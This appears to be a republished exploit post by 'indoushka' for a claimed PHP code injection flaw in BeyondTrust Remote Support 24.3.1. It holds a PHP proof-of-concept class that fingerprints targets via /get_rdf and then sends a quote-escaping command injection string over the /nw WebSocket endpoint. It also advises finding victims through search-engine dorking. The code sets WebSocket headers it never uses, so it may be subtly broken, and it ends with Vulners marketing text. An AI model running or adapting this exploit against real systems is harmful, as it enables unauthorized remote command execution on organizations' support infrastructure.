=============================================================================================================================================
| # Title : BeyondTrust v24.3.1 PHP Code Injection Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits) |
| # Vendor : https://www.beyondtrust.com |
=============================================================================================================================================
POC :
[+] Dorking İn Google Or Other Search Enggine.
[+] The code exploits a vulnerability in BeyondTrust Remote Support via WebSocket to execute arbitrary commands on the target system.
[+] save code as poc.php .
[+] USage : cmd => c:\www\test\php poc.php <URL>
[+] SeT target = Line 72
[+] PayLoad :
<?php
class BeyondTrustExploit {
private $target;
private $port;
private $use_ssl;
private $payload;
public function __construct($target, $port = 443, $use_ssl = true) {
$this->target = $target;
$this->port = $port;
$this->use_ssl = $use_ssl;
$this->payload = "echo 'Hacked';"; // تعديل الحمولة حسب الحاجة
}
private function send_request($path, $params = []) {
$protocol = $this->use_ssl ? 'https' : 'http';
$url = "$protocol://{$this->target}:{$this->port}$path";
$query_string = http_build_query($params);
$full_url = !empty($query_string) ? "$url?$query_string" : $url;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $full_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
public function check_vulnerability() {
$response = $this->send_request('/get_rdf', ['comp' => 'sdcust', 'locale_code' => 'en-us']);
if (!$response) {
return "No Target";
}
if (strpos($response, 'Thank you for using BeyondTrust') !== false) {
return "OHH OK";
}
return "no";
}
public function exploit() {
$ws_url = ($this->use_ssl ? 'wss' : 'ws') . "://{$this->target}:{$this->port}/nw";
$headers = [
"Sec-WebSocket-Protocol: ingredi support desk customer thin",
"X-Ns-Company: TargetCompany",
"Host: {$this->target}"
];
$wsock = fsockopen($this->target, $this->port, $errno, $errstr, 10);
if (!$wsock) {
return " WebSocket";
}
fwrite($wsock, "1\n");
fwrite($wsock, uniqid() . "\n");
fwrite($wsock, "0\n");
fwrite($wsock, "\xC0'; \! {$this->payload} #\n");
fclose($wsock);
return "payload";
}
}
$exploit = new BeyondTrustExploit('127.0.0.1');
echo $exploit->check_vulnerability();
echo "\n";
echo $exploit->exploit();
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation